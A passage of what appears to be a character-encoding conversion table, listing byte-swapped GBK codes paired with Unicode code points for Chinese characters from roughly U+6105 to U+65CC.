{0xcd90,0x6105},{0xa9ed,0x6106},{0xce90,0x6107},{0xfad3,0x6108},{0xe4d3,0x6109},
{0xcf90,0x610a},{0xd090,0x610b},{0xd190,0x610c},{0xaaed,0x610d},{0xb9e3,0x610e},
{0xe2d2,0x610f},{0xd290,0x6110},{0xd390,0x6111},{0xd490,0x6112},{0xd590,0x6113},
{0xd690,0x6114},{0xb5e3,0x6115},{0xd790,0x6116},{0xd890,0x6117},{0xd990,0x6118},
{0xda90,0x6119},{0xded3,0x611a},{0xdb90,0x611b},{0xdc90,0x611c},{0xdd90,0x611d},
{0xde90,0x611e},{0xd0b8,0x611f},{0xb3e3,0x6120},{0xdf90,0x6121},{0xe090,0x6122},
{0xb6e3,0x6123},{0xdfb7,0x6124},{0xe190,0x6125},{0xb4e3,0x6126},{0xa2c0,0x6127},
{0xe290,0x6128},{0xe390,0x6129},{0xe490,0x612a},{0xbae3,0x612b},{0xe590,0x612c},
{0xe690,0x612d},{0xe790,0x612e},{0xe890,0x612f},{0xe990,0x6130},{0xea90,0x6131},
{0xeb90,0x6132},{0xec90,0x6133},{0xed90,0x6134},{0xee90,0x6135},{0xef90,0x6136},
{0xf090,0x6137},{0xf190,0x6138},{0xf290,0x6139},{0xf390,0x613a},{0xf490,0x613b},
{0xf590,0x613c},{0xf690,0x613d},{0xf790,0x613e},{0xb8d4,0x613f},{0xf890,0x6140},
{0xf990,0x6141},{0xfa90,0x6142},{0xfb90,0x6143},{0xfc90,0x6144},{0xfd90,0x6145},
{0xfe90,0x6146},{0x4091,0x6147},{0xc8b4,0x6148},{0x4191,0x6149},{0xbbe3,0x614a},
{0x4291,0x614b},{0xc5bb,0x614c},{0x4391,0x614d},{0xf7c9,0x614e},{0x4491,0x614f},
{0x4591,0x6150},{0xe5c9,0x6151},{0x4691,0x6152},{0x4791,0x6153},{0x4891,0x6154},
{0xbdc4,0x6155},{0x4991,0x6156},{0x4a91,0x6157},{0x4b91,0x6158},{0x4c91,0x6159},
{0x4d91,0x615a},{0x4e91,0x615b},{0x4f91,0x615c},{0xabed,0x615d},{0x5091,0x615e},
{0x5191,0x615f},{0x5291,0x6160},{0x5391,0x6161},{0xfdc2,0x6162},{0x5491,0x6163},
{0x5591,0x6164},{0x5691,0x6165},{0x5791,0x6166},{0xdbbb,0x6167},{0xaebf,0x6168},
{0x5891,0x6169},{0x5991,0x616a},{0x5a91,0x616b},{0x5b91,0x616c},{0x5c91,0x616d},
{0x5d91,0x616e},{0x5e91,0x616f},{0xbfce,0x6170},{0x5f91,0x6171},{0x6091,0x6172},
{0x6191,0x6173},{0x6291,0x6174},{0xbce3,0x6175},{0x6391,0x6176},{0xb6bf,0x6177},
{0x6491,0x6178},{0x6591,0x6179},{0x6691,0x617a},{0x6791,0x617b},{0x6891,0x617c},
{0x6991,0x617d},{0x6a91,0x617e},{0x6b91,0x617f},{0x6c91,0x6180},{0x6d91,0x6181},
{0x6e91,0x6182},{0x6f91,0x6183},{0x7091,0x6184},{0x7191,0x6185},{0x7291,0x6186},
{0x7391,0x6187},{0x7491,0x6188},{0x7591,0x6189},{0x7691,0x618a},{0xefb1,0x618b},
{0x7791,0x618c},{0x7891,0x618d},{0xf7d4,0x618e},{0x7991,0x618f},{0x7a91,0x6190},
{0x7b91,0x6191},{0x7c91,0x6192},{0x7d91,0x6193},{0xbee3,0x6194},{0x7e91,0x6195},
{0x8091,0x6196},{0x8191,0x6197},{0x8291,0x6198},{0x8391,0x6199},{0x8491,0x619a},
{0x8591,0x619b},{0x8691,0x619c},{0xaded,0x619d},{0x8791,0x619e},{0x8891,0x619f},
{0x8991,0x61a0},{0x8a91,0x61a1},{0x8b91,0x61a2},{0x8c91,0x61a3},{0x8d91,0x61a4},
{0x8e91,0x61a5},{0x8f91,0x61a6},{0xbfe3,0x61a7},{0xa9ba,0x61a8},{0xaced,0x61a9},
{0x9091,0x61aa},{0x9191,0x61ab},{0xbde3,0x61ac},{0x9291,0x61ad},{0x9391,0x61ae},
{0x9491,0x61af},{0x9591,0x61b0},{0x9691,0x61b1},{0x9791,0x61b2},{0x9891,0x61b3},
{0x9991,0x61b4},{0x9a91,0x61b5},{0x9b91,0x61b6},{0xc0e3,0x61b7},{0x9c91,0x61b8},
{0x9d91,0x61b9},{0x9e91,0x61ba},{0x9f91,0x61bb},{0xa091,0x61bc},{0xa191,0x61bd},
{0xb6ba,0x61be},{0xa291,0x61bf},{0xa391,0x61c0},{0xa491,0x61c1},{0xaeb6,0x61c2},
{0xa591,0x61c3},{0xa691,0x61c4},{0xa791,0x61c5},{0xa891,0x61c6},{0xa991,0x61c7},
{0xb8d0,0x61c8},{0xaa91,0x61c9},{0xc3b0,0x61ca},{0xaeed,0x61cb},{0xab91,0x61cc},
{0xac91,0x61cd},{0xad91,0x61ce},{0xae91,0x61cf},{0xaf91,0x61d0},{0xafed,0x61d1},
{0xc1c0,0x61d2},{0xb091,0x61d3},{0xc1e3,0x61d4},{0xb191,0x61d5},{0xb291,0x61d6},
{0xb391,0x61d7},{0xb491,0x61d8},{0xb591,0x61d9},{0xb691,0x61da},{0xb791,0x61db},
{0xb891,0x61dc},{0xb991,0x61dd},{0xba91,0x61de},{0xbb91,0x61df},{0xbc91,0x61e0},
{0xbd91,0x61e1},{0xbe91,0x61e2},{0xbf91,0x61e3},{0xc091,0x61e4},{0xc191,0x61e5},
{0xb3c5,0x61e6},{0xc291,0x61e7},{0xc391,0x61e8},{0xc491,0x61e9},{0xc591,0x61ea},
{0xc691,0x61eb},{0xc791,0x61ec},{0xc891,0x61ed},{0xc991,0x61ee},{0xca91,0x61ef},
{0xcb91,0x61f0},{0xcc91,0x61f1},{0xcd91,0x61f2},{0xce91,0x61f3},{0xcf91,0x61f4},
{0xc2e3,0x61f5},{0xd091,0x61f6},{0xd191,0x61f7},{0xd291,0x61f8},{0xd391,0x61f9},
{0xd491,0x61fa},{0xd591,0x61fb},{0xd691,0x61fc},{0xd791,0x61fd},{0xd891,0x61fe},
{0xd991,0x6200},{0xda91,0x6201},{0xdb91,0x6202},{0xdc91,0x6203},{0xdd91,0x6204},
{0xde91,0x6205},{0xb0ed,0x6206},{0xdf91,0x6207},{0xeab8,0x6208},{0xe091,0x6209},
{0xecce,0x620a},{0xa7ea,0x620b},{0xe7d0,0x620c},{0xf9ca,0x620d},{0xd6c8,0x620e},
{0xb7cf,0x620f},{0xc9b3,0x6210},{0xd2ce,0x6211},{0xe4bd,0x6212},{0xe191,0x6213},
{0xe291,0x6214},{0xdee3,0x6215},{0xf2bb,0x6216},{0xa8ea,0x6217},{0xbdd5,0x6218},
{0xe391,0x6219},{0xddc6,0x621a},{0xa9ea,0x621b},{0xe491,0x621c},{0xe591,0x621d},
{0xe691,0x621e},{0xaaea,0x621f},{0xe791,0x6220},{0xacea,0x6221},{0xabea,0x6222},
{0xe891,0x6223},{0xaeea,0x6224},{0xadea,0x6225},{0xe991,0x6226},{0xea91,0x6227},
{0xeb91,0x6228},{0xec91,0x6229},{0xd8bd,0x622a},{0xed91,0x622b},{0xafea,0x622c},
{0xee91,0x622d},{0xbec2,0x622e},{0xef91,0x622f},{0xf091,0x6230},{0xf191,0x6231},
{0xf291,0x6232},{0xc1b4,0x6233},{0xf7b4,0x6234},{0xf391,0x6235},{0xf491,0x6236},
{0xa7bb,0x6237},{0xf591,0x6238},{0xf691,0x6239},{0xf791,0x623a},{0xf891,0x623b},
{0xf991,0x623c},{0xe6ec,0x623d},{0xe5ec,0x623e},{0xbfb7,0x623f},{0xf9cb,0x6240},
{0xe2b1,0x6241},{0xfa91,0x6242},{0xe7ec,0x6243},{0xfb91,0x6244},{0xfc91,0x6245},
{0xfd91,0x6246},{0xc8c9,0x6247},{0xe8ec,0x6248},{0xe9ec,0x6249},{0xfe91,0x624a},
{0xd6ca,0x624b},{0xd0de,0x624c},{0xc5b2,0x624d},{0xfad4,0x624e},{0x4092,0x624f},
{0x4192,0x6250},{0xcbc6,0x6251},{0xc7b0,0x6252},{0xf2b4,0x6253},{0xd3c8,0x6254},
{0x4292,0x6255},{0x4392,0x6256},{0x4492,0x6257},{0xd0cd,0x6258},{0x4592,0x6259},
{0x4692,0x625a},{0xb8bf,0x625b},{0x4792,0x625c},{0x4892,0x625d},{0x4992,0x625e},
{0x4a92,0x625f},{0x4b92,0x6260},{0x4c92,0x6261},{0x4d92,0x6262},{0xdbbf,0x6263},
{0x4e92,0x6264},{0x4f92,0x6265},{0xa4c7,0x6266},{0xb4d6,0x6267},{0x5092,0x6268},
{0xa9c0,0x6269},{0xd1de,0x626a},{0xa8c9,0x626b},{0xefd1,0x626c},{0xa4c5,0x626d},
{0xe7b0,0x626e},{0xb6b3,0x626f},{0xc5c8,0x6270},{0x5192,0x6271},{0x5292,0x6272},
{0xe2b0,0x6273},{0x5392,0x6274},{0x5492,0x6275},{0xf6b7,0x6276},{0x5592,0x6277},
{0x5692,0x6278},{0xfac5,0x6279},{0x5792,0x627a},{0x5892,0x627b},{0xf3b6,0x627c},
{0x5992,0x627d},{0xd2d5,0x627e},{0xd0b3,0x627f},{0xbcbc,0x6280},{0x5a92,0x6281},
{0x5b92,0x6282},{0x5c92,0x6283},{0xadb3,0x6284},{0x5d92,0x6285},{0x5e92,0x6286},
{0x5f92,0x6287},{0x6092,0x6288},{0xf1be,0x6289},{0xd1b0,0x628a},{0x6192,0x628b},
{0x6292,0x628c},{0x6392,0x628d},{0x6492,0x628e},{0x6592,0x628f},{0x6692,0x6290},
{0xd6d2,0x6291},{0xe3ca,0x6292},{0xa5d7,0x6293},{0x6792,0x6294},{0xb6cd,0x6295},
{0xb6b6,0x6296},{0xb9bf,0x6297},{0xdbd5,0x6298},{0x6892,0x6299},{0xa7b8,0x629a},
{0xd7c5,0x629b},{0x6992,0x629c},{0x6a92,0x629d},{0x6b92,0x629e},{0xd2de,0x629f},
{0xd9bf,0x62a0},{0xd5c2,0x62a1},{0xc0c7,0x62a2},{0x6c92,0x62a3},{0xa4bb,0x62a4},
{0xa8b1,0x62a5},{0x6d92,0x62a6},{0x6e92,0x62a7},{0xeac5,0x62a8},{0x6f92,0x62a9},
{0x7092,0x62aa},{0xfbc5,0x62ab},{0xa7cc,0x62ac},{0x7192,0x62ad},{0x7292,0x62ae},
{0x7392,0x62af},{0x7492,0x62b0},{0xa7b1,0x62b1},{0x7592,0x62b2},{0x7692,0x62b3},
{0x7792,0x62b4},{0xd6b5,0x62b5},{0x7892,0x62b6},{0x7992,0x62b7},{0x7a92,0x62b8},
{0xa8c4,0x62b9},{0x7b92,0x62ba},{0xd3de,0x62bb},{0xbad1,0x62bc},{0xe9b3,0x62bd},
{0x7c92,0x62be},{0xf2c3,0x62bf},{0x7d92,0x62c0},{0x7e92,0x62c1},{0xf7b7,0x62c2},
{0x8092,0x62c3},{0xf4d6,0x62c4},{0xa3b5,0x62c5},{0xf0b2,0x62c6},{0xb4c4,0x62c7},
{0xe9c4,0x62c8},{0xadc0,0x62c9},{0xd4de,0x62ca},{0x8192,0x62cb},{0xe8b0,0x62cc},
{0xc4c5,0x62cd},{0xe0c1,0x62ce},{0x8292,0x62cf},{0xd5b9,0x62d0},{0x8392,0x62d1},
{0xdcbe,0x62d2},{0xd8cd,0x62d3},{0xceb0,0x62d4},{0x8492,0x62d5},{0xcfcd,0x62d6},
{0xd6de,0x62d7},{0xd0be,0x62d8},{0xbed7,0x62d9},{0xd5de,0x62da},{0xd0d5,0x62db},
{0xddb0,0x62dc},{0x8592,0x62dd},{0x8692,0x62de},{0xe2c4,0x62df},{0x8792,0x62e0},
{0x8892,0x62e1},{0xa3c2,0x62e2},{0xf0bc,0x62e3},{0x8992,0x62e4},{0xb5d3,0x62e5},
{0xb9c0,0x62e6},{0xa1c5,0x62e7},{0xa6b2,0x62e8},{0xf1d4,0x62e9},{0x8a92,0x62ea},
{0x8b92,0x62eb},{0xa8c0,0x62ec},{0xc3ca,0x62ed},{0xd7de,0x62ee},{0xfcd5,0x62ef},
{0x8c92,0x62f0},{0xb0b9,0x62f1},{0x8d92,0x62f2},{0xadc8,0x62f3},{0xa9cb,0x62f4},
{0x8e92,0x62f5},{0xd9de,0x62f6},{0xbdbf,0x62f7},{0x8f92,0x62f8},{0x9092,0x62f9},
{0x9192,0x62fa},{0x9292,0x62fb},{0xb4c6,0x62fc},{0xa7d7,0x62fd},{0xb0ca,0x62fe},
{0x9392,0x6300},{0xd6b3,0x6301},{0xd2b9,0x6302},{0x9492,0x6303},{0x9592,0x6304},
{0x9692,0x6305},{0x9792,0x6306},{0xb8d6,0x6307},{0xfcea,0x6308},{0xb4b0,0x6309},
{0x9892,0x630a},{0x9992,0x630b},{0x9a92,0x630c},{0x9b92,0x630d},{0xe6bf,0x630e},
{0x9c92,0x630f},{0x9d92,0x6310},{0xf4cc,0x6311},{0x9e92,0x6312},{0x9f92,0x6313},
{0xa092,0x6314},{0xa192,0x6315},{0xdacd,0x6316},{0xa292,0x6317},{0xa392,0x6318},
{0xa492,0x6319},{0xbfd6,0x631a},{0xcec2,0x631b},{0xa592,0x631c},{0xcece,0x631d},
{0xa2cc,0x631e},{0xaed0,0x631f},{0xd3c4,0x6320},{0xb2b5,0x6321},{0xd8de,0x6322},
{0xf5d5,0x6323},{0xb7bc,0x6324},{0xd3bb,0x6325},{0xa692,0x6326},{0xa792,0x6327},
{0xa4b0,0x6328},{0xa892,0x6329},{0xb2c5,0x632a},{0xecb4,0x632b},{0xa992,0x632c},
{0xaa92,0x632d},{0xab92,0x632e},{0xf1d5,0x632f},{0xac92,0x6330},{0xad92,0x6331},
{0xfdea,0x6332},{0xae92,0x6333},{0xaf92,0x6334},{0xb092,0x6335},{0xb192,0x6336},
{0xb292,0x6337},{0xb392,0x6338},{0xdade,0x6339},{0xa6cd,0x633a},{0xb492,0x633b},
{0xb592,0x633c},{0xeccd,0x633d},{0xb692,0x633e},{0xb792,0x633f},{0xb892,0x6340},
{0xb992,0x6341},{0xe6ce,0x6342},{0xdcde,0x6343},{0xba92,0x6344},{0xb1cd,0x6345},
{0xa6c0,0x6346},{0xbb92,0x6347},{0xbc92,0x6348},{0xbdd7,0x6349},{0xbd92,0x634a},
{0xdbde,0x634b},{0xc6b0,0x634c},{0xb4ba,0x634d},{0xd3c9,0x634e},{0xf3c4,0x634f},
{0xe8be,0x6350},{0xbe92,0x6351},{0xbf92,0x6352},{0xc092,0x6353},{0xc192,0x6354},
{0xb6b2,0x6355},{0xc292,0x6356},{0xc392,0x6357},{0xc492,0x6358},{0xc592,0x6359},
{0xc692,0x635a},{0xc792,0x635b},{0xc892,0x635c},{0xc992,0x635d},{0xccc0,0x635e},
{0xf0cb,0x635f},{0xca92,0x6360},{0xf1bc,0x6361},{0xbbbb,0x6362},{0xb7b5,0x6363},
{0xcb92,0x6364},{0xcc92,0x6365},{0xcd92,0x6366},{0xf5c5,0x6367},{0xce92,0x6368},
{0xe6de,0x6369},{0xcf92,0x636a},{0xd092,0x636b},{0xd192,0x636c},{0xe3de,0x636d},
{0xddbe,0x636e},{0xd292,0x636f},{0xd392,0x6370},{0xdfde,0x6371},{0xd492,0x6372},
{0xd592,0x6373},{0xd692,0x6374},{0xd792,0x6375},{0xb7b4,0x6376},{0xddbd,0x6377},
{0xd892,0x6378},{0xd992,0x6379},{0xe0de,0x637a},{0xedc4,0x637b},{0xda92,0x637c},
{0xdb92,0x637d},{0xdc92,0x637e},{0xdd92,0x637f},{0xc6cf,0x6380},{0xde92,0x6381},
{0xe0b5,0x6382},{0xdf92,0x6383},{0xe092,0x6384},{0xe192,0x6385},{0xe292,0x6386},
{0xdeb6,0x6387},{0xdaca,0x6388},{0xf4b5,0x6389},{0xe5de,0x638a},{0xe392,0x638b},
{0xc6d5,0x638c},{0xe492,0x638d},{0xe1de,0x638e},{0xcdcc,0x638f},{0xfec6,0x6390},
{0xe592,0x6391},{0xc5c5,0x6392},{0xe692,0x6393},{0xe792,0x6394},{0xe892,0x6395},
{0xb4d2,0x6396},{0xe992,0x6397},{0xf2be,0x6398},{0xea92,0x6399},{0xeb92,0x639a},
{0xec92,0x639b},{0xed92,0x639c},{0xee92,0x639d},{0xef92,0x639e},{0xf092,0x639f},
{0xd3c2,0x63a0},{0xf192,0x63a1},{0xbdcc,0x63a2},{0xb8b3,0x63a3},{0xf292,0x63a4},
{0xd3bd,0x63a5},{0xf392,0x63a6},{0xd8bf,0x63a7},{0xc6cd,0x63a8},{0xdad1,0x63a9},
{0xebb4,0x63aa},{0xf492,0x63ab},{0xe4de,0x63ac},{0xddde,0x63ad},{0xe7de,0x63ae},
{0xf592,0x63af},{0xfeea,0x63b0},{0xf692,0x63b1},{0xf792,0x63b2},{0xb0c2,0x63b3},
{0xe2de,0x63b4},{0xf892,0x63b5},{0xf992,0x63b6},{0xc0d6,0x63b7},{0xa7b5,0x63b8},
{0xfa92,0x63b9},{0xf4b2,0x63ba},{0xfb92,0x63bb},{0xe8de,0x63bc},{0xfc92,0x63bd},
{0xf2de,0x63be},{0xfd92,0x63bf},{0xfe92,0x63c0},{0x4093,0x63c1},{0x4193,0x63c2},
{0x4293,0x63c3},{0xedde,0x63c4},{0x4393,0x63c5},{0xf1de,0x63c6},{0x4493,0x63c7},
{0x4593,0x63c8},{0xe0c8,0x63c9},{0x4693,0x63ca},{0x4793,0x63cb},{0x4893,0x63cc},
{0xe1d7,0x63cd},{0xefde,0x63ce},{0xe8c3,0x63cf},{0xe1cc,0x63d0},{0x4993,0x63d1},
{0xe5b2,0x63d2},{0x4a93,0x63d3},{0x4b93,0x63d4},{0x4c93,0x63d5},{0xbed2,0x63d6},
{0x4d93,0x63d7},{0x4e93,0x63d8},{0x4f93,0x63d9},{0x5093,0x63da},{0x5193,0x63db},
{0x5293,0x63dc},{0x5393,0x63dd},{0xeede,0x63de},{0x5493,0x63df},{0xebde,0x63e0},
{0xd5ce,0x63e1},{0x5593,0x63e2},{0xa7b4,0x63e3},{0x5693,0x63e4},{0x5793,0x63e5},
{0x5893,0x63e6},{0x5993,0x63e7},{0x5a93,0x63e8},{0xabbf,0x63e9},{0xbebe,0x63ea},
{0x5b93,0x63eb},{0x5c93,0x63ec},{0xd2bd,0x63ed},{0x5d93,0x63ee},{0x5e93,0x63ef},
{0x5f93,0x63f0},{0x6093,0x63f1},{0xe9de,0x63f2},{0x6193,0x63f3},{0xaed4,0x63f4},
{0x6293,0x63f5},{0xdede,0x63f6},{0x6393,0x63f7},{0xeade,0x63f8},{0x6493,0x63f9},
{0x6593,0x63fa},{0x6693,0x63fb},{0x6793,0x63fc},{0xbfc0,0x63fd},{0x6893,0x63fe},
{0xf3b2,0x6400},{0xe9b8,0x6401},{0xa7c2,0x6402},{0x6993,0x6403},{0x6a93,0x6404},
{0xc1bd,0x6405},{0x6b93,0x6406},{0x6c93,0x6407},{0x6d93,0x6408},{0x6e93,0x6409},
{0x6f93,0x640a},{0xf5de,0x640b},{0xf8de,0x640c},{0x7093,0x640d},{0x7193,0x640e},
{0xabb2,0x640f},{0xa4b4,0x6410},{0x7293,0x6411},{0x7393,0x6412},{0xeab4,0x6413},
{0xa6c9,0x6414},{0x7493,0x6415},{0x7593,0x6416},{0x7693,0x6417},{0x7793,0x6418},
{0x7893,0x6419},{0x7993,0x641a},{0xf6de,0x641b},{0xd1cb,0x641c},{0x7a93,0x641d},
{0xe3b8,0x641e},{0x7b93,0x641f},{0xf7de,0x6420},{0xfade,0x6421},{0x7c93,0x6422},
{0x7d93,0x6423},{0x7e93,0x6424},{0x8093,0x6425},{0xf9de,0x6426},{0x8193,0x6427},
{0x8293,0x6428},{0x8393,0x6429},{0xc2cc,0x642a},{0x8493,0x642b},{0xe1b0,0x642c},
{0xeeb4,0x642d},{0x8593,0x642e},{0x8693,0x642f},{0x8793,0x6430},{0x8893,0x6431},
{0x8993,0x6432},{0x8a93,0x6433},{0xbae5,0x6434},{0x8b93,0x6435},{0x8c93,0x6436},
{0x8d93,0x6437},{0x8e93,0x6438},{0x8f93,0x6439},{0xafd0,0x643a},{0x9093,0x643b},
{0x9193,0x643c},{0xebb2,0x643d},{0x9293,0x643e},{0xa1eb,0x643f},{0x9393,0x6440},
{0xf4de,0x6441},{0x9493,0x6442},{0x9593,0x6443},{0xe3c9,0x6444},{0xf3de,0x6445},
{0xdab0,0x6446},{0xa1d2,0x6447},{0xf7b1,0x6448},{0x9693,0x6449},{0xafcc,0x644a},
{0x9793,0x644b},{0x9893,0x644c},{0x9993,0x644d},{0x9a93,0x644e},{0x9b93,0x644f},
{0x9c93,0x6450},{0x9d93,0x6451},{0xf0de,0x6452},{0x9e93,0x6453},{0xa4cb,0x6454},
{0x9f93,0x6455},{0xa093,0x6456},{0xa193,0x6457},{0xaad5,0x6458},{0xa293,0x6459},
{0xa393,0x645a},{0xa493,0x645b},{0xa593,0x645c},{0xa693,0x645d},{0xfbde,0x645e},
{0xa793,0x645f},{0xa893,0x6460},{0xa993,0x6461},{0xaa93,0x6462},{0xab93,0x6463},
{0xac93,0x6464},{0xad93,0x6465},{0xae93,0x6466},{0xddb4,0x6467},{0xaf93,0x6468},
{0xa6c4,0x6469},{0xb093,0x646a},{0xb193,0x646b},{0xb293,0x646c},{0xfdde,0x646d},
{0xb393,0x646e},{0xb493,0x646f},{0xb593,0x6470},{0xb693,0x6471},{0xb793,0x6472},
{0xb893,0x6473},{0xb993,0x6474},{0xba93,0x6475},{0xbb93,0x6476},{0xbc93,0x6477},
{0xfec3,0x6478},{0xa1c4,0x6479},{0xa1df,0x647a},{0xbd93,0x647b},{0xbe93,0x647c},
{0xbf93,0x647d},{0xc093,0x647e},{0xc193,0x647f},{0xc293,0x6480},{0xc393,0x6481},
{0xccc1,0x6482},{0xc493,0x6483},{0xfcde,0x6484},{0xefbe,0x6485},{0xc593,0x6486},
{0xb2c6,0x6487},{0xc693,0x6488},{0xc793,0x6489},{0xc893,0x648a},{0xc993,0x648b},
{0xca93,0x648c},{0xcb93,0x648d},{0xcc93,0x648e},{0xcd93,0x648f},{0xce93,0x6490},
{0xc5b3,0x6491},{0xf6c8,0x6492},{0xcf93,0x6493},{0xd093,0x6494},{0xbacb,0x6495},
{0xfede,0x6496},{0xd193,0x6497},{0xd293,0x6498},{0xa4df,0x6499},{0xd393,0x649a},
{0xd493,0x649b},{0xd593,0x649c},{0xd693,0x649d},{0xb2d7,0x649e},{0xd793,0x649f},
{0xd893,0x64a0},{0xd993,0x64a1},{0xda93,0x64a2},{0xdb93,0x64a3},{0xb7b3,0x64a4},
{0xdc93,0x64a5},{0xdd93,0x64a6},{0xde93,0x64a7},{0xdf93,0x64a8},{0xc3c1,0x64a9},
{0xe093,0x64aa},{0xe193,0x64ab},{0xcbc7,0x64ac},{0xa5b2,0x64ad},{0xe9b4,0x64ae},
{0xe293,0x64af},{0xabd7,0x64b0},{0xe393,0x64b1},{0xe493,0x64b2},{0xe593,0x64b3},
{0xe693,0x64b4},{0xecc4,0x64b5},{0xe793,0x64b6},{0xa2df,0x64b7},{0xa3df,0x64b8},
{0xe893,0x64b9},{0xa5df,0x64ba},{0xe993,0x64bb},{0xb3ba,0x64bc},{0xea93,0x64bd},
{0xeb93,0x64be},{0xec93,0x64bf},{0xa6df,0x64c0},{0xed93,0x64c1},{0xdec0,0x64c2},
{0xee93,0x64c3},{0xef93,0x64c4},{0xc3c9,0x64c5},{0xf093,0x64c6},{0xf193,0x64c7},
{0xf293,0x64c8},{0xf393,0x64c9},{0xf493,0x64ca},{0xf593,0x64cb},{0xf693,0x64cc},
{0xd9b2,0x64cd},{0xe6c7,0x64ce},{0xf793,0x64cf},{0xa7df,0x64d0},{0xf893,0x64d1},
{0xdcc7,0x64d2},{0xf993,0x64d3},{0xfa93,0x64d4},{0xfb93,0x64d5},{0xfc93,0x64d6},
{0xa8df,0x64d7},{0xa2eb,0x64d8},{0xfd93,0x64d9},{0xfe93,0x64da},{0x4094,0x64db},
{0x4194,0x64dc},{0x4294,0x64dd},{0xd3cb,0x64de},{0x4394,0x64df},{0x4494,0x64e0},
{0x4594,0x64e1},{0xaadf,0x64e2},{0x4694,0x64e3},{0xa9df,0x64e4},{0x4794,0x64e5},
{0xc1b2,0x64e6},{0x4894,0x64e7},{0x4994,0x64e8},{0x4a94,0x64e9},{0x4b94,0x64ea},
{0x4c94,0x64eb},{0x4d94,0x64ec},{0x4e94,0x64ed},{0x4f94,0x64ee},{0x5094,0x64ef},
{0x5194,0x64f0},{0x5294,0x64f1},{0x5394,0x64f2},{0x5494,0x64f3},{0x5594,0x64f4},
{0x5694,0x64f5},{0x5794,0x64f6},{0x5894,0x64f7},{0x5994,0x64f8},{0x5a94,0x64f9},
{0x5b94,0x64fa},{0x5c94,0x64fb},{0x5d94,0x64fc},{0x5e94,0x64fd},{0x5f94,0x64fe},
{0xcac5,0x6500},{0x6194,0x6501},{0x6294,0x6502},{0x6394,0x6503},{0x6494,0x6504},
{0x6594,0x6505},{0x6694,0x6506},{0x6794,0x6507},{0x6894,0x6508},{0xabdf,0x6509},
{0x6994,0x650a},{0x6a94,0x650b},{0x6b94,0x650c},{0x6c94,0x650d},{0x6d94,0x650e},
{0x6e94,0x650f},{0x6f94,0x6510},{0x7094,0x6511},{0xdcd4,0x6512},{0x7194,0x6513},
{0x7294,0x6514},{0x7394,0x6515},{0x7494,0x6516},{0x7594,0x6517},{0xc1c8,0x6518},
{0x7694,0x6519},{0x7794,0x651a},{0x7894,0x651b},{0x7994,0x651c},{0x7a94,0x651d},
{0x7b94,0x651e},{0x7c94,0x651f},{0x7d94,0x6520},{0x7e94,0x6521},{0x8094,0x6522},
{0x8194,0x6523},{0x8294,0x6524},{0xacdf,0x6525},{0x8394,0x6526},{0x8494,0x6527},
{0x8594,0x6528},{0x8694,0x6529},{0x8794,0x652a},{0xf0be,0x652b},{0x8894,0x652c},
{0x8994,0x652d},{0xaddf,0x652e},{0xa7d6,0x652f},{0x8a94,0x6530},{0x8b94,0x6531},
{0x8c94,0x6532},{0x8d94,0x6533},{0xb7ea,0x6534},{0xb6eb,0x6535},{0xd5ca,0x6536},
{0x8e94,0x6537},{0xfcd8,0x6538},{0xc4b8,0x6539},{0x8f94,0x653a},{0xa5b9,0x653b},
{0x9094,0x653c},{0x9194,0x653d},{0xc5b7,0x653e},{0xfed5,0x653f},{0x9294,0x6540},
{0x9394,0x6541},{0x9494,0x6542},{0x9594,0x6543},{0x9694,0x6544},{0xcab9,0x6545},
{0x9794,0x6546},{0x9894,0x6547},{0xa7d0,0x6548},{0xcdf4,0x6549},{0x9994,0x654a},
{0x9a94,0x654b},{0xd0b5,0x654c},{0x9b94,0x654d},{0x9c94,0x654e},{0xf4c3,0x654f},
{0x9d94,0x6550},{0xc8be,0x6551},{0x9e94,0x6552},{0x9f94,0x6553},{0xa094,0x6554},
{0xb7eb,0x6555},{0xbdb0,0x6556},{0xa194,0x6557},{0xa294,0x6558},{0xccbd,0x6559},
{0xa394,0x655a},{0xb2c1,0x655b},{0xa494,0x655c},{0xd6b1,0x655d},{0xa8b3,0x655e},
{0xa594,0x655f},{0xa694,0x6560},{0xa794,0x6561},{0xd2b8,0x6562},{0xa2c9,0x6563},
{0xa894,0x6564},{0xa994,0x6565},{0xd8b6,0x6566},{0xaa94,0x6567},{0xab94,0x6568},
{0xac94,0x6569},{0xad94,0x656a},{0xb8eb,0x656b},{0xb4be,0x656c},{0xae94,0x656d},
{0xaf94,0x656e},{0xb094,0x656f},{0xfdca,0x6570},{0xb194,0x6571},{0xc3c7,0x6572},
{0xb294,0x6573},{0xfbd5,0x6574},{0xb394,0x6575},{0xb494,0x6576},{0xf3b7,0x6577},
{0xb594,0x6578},{0xb694,0x6579},{0xb794,0x657a},{0xb894,0x657b},{0xb994,0x657c},
{0xba94,0x657d},{0xbb94,0x657e},{0xbc94,0x657f},{0xbd94,0x6580},{0xbe94,0x6581},
{0xbf94,0x6582},{0xc094,0x6583},{0xc194,0x6584},{0xc294,0x6585},{0xc394,0x6586},
{0xc4ce,0x6587},{0xc494,0x6588},{0xc594,0x6589},{0xc694,0x658a},{0xabd5,0x658b},
{0xf3b1,0x658c},{0xc794,0x658d},{0xc894,0x658e},{0xc994,0x658f},{0xb3ec,0x6590},
{0xdfb0,0x6591},{0xca94,0x6592},{0xb5ec,0x6593},{0xcb94,0x6594},{0xcc94,0x6595},
{0xcd94,0x6596},{0xb7b6,0x6597},{0xce94,0x6598},{0xcfc1,0x6599},{0xcf94,0x659a},
{0xfaf5,0x659b},{0xb1d0,0x659c},{0xd094,0x659d},{0xd194,0x659e},{0xe5d5,0x659f},
{0xd294,0x65a0},{0xd3ce,0x65a1},{0xd394,0x65a2},{0xd494,0x65a3},{0xefbd,0x65a4},
{0xe2b3,0x65a5},{0xd594,0x65a6},{0xabb8,0x65a7},{0xd694,0x65a8},{0xb6d5,0x65a9},
{0xd794,0x65aa},{0xbded,0x65ab},{0xd894,0x65ac},{0xcfb6,0x65ad},{0xd994,0x65ae},
{0xb9cb,0x65af},{0xc2d0,0x65b0},{0xda94,0x65b1},{0xdb94,0x65b2},{0xdc94,0x65b3},
{0xdd94,0x65b4},{0xde94,0x65b5},{0xdf94,0x65b6},{0xe094,0x65b7},{0xe194,0x65b8},
{0xbdb7,0x65b9},{0xe294,0x65ba},{0xe394,0x65bb},{0xb6ec,0x65bc},{0xa9ca,0x65bd},
{0xe494,0x65be},{0xe594,0x65bf},{0xe694,0x65c0},{0xd4c5,0x65c1},{0xe794,0x65c2},
{0xb9ec,0x65c3},{0xb8ec,0x65c4},{0xc3c2,0x65c5},{0xb7ec,0x65c6},{0xe894,0x65c7},
{0xe994,0x65c8},{0xea94,0x65c9},{0xeb94,0x65ca},{0xfdd0,0x65cb},{0xbaec,0x65cc},
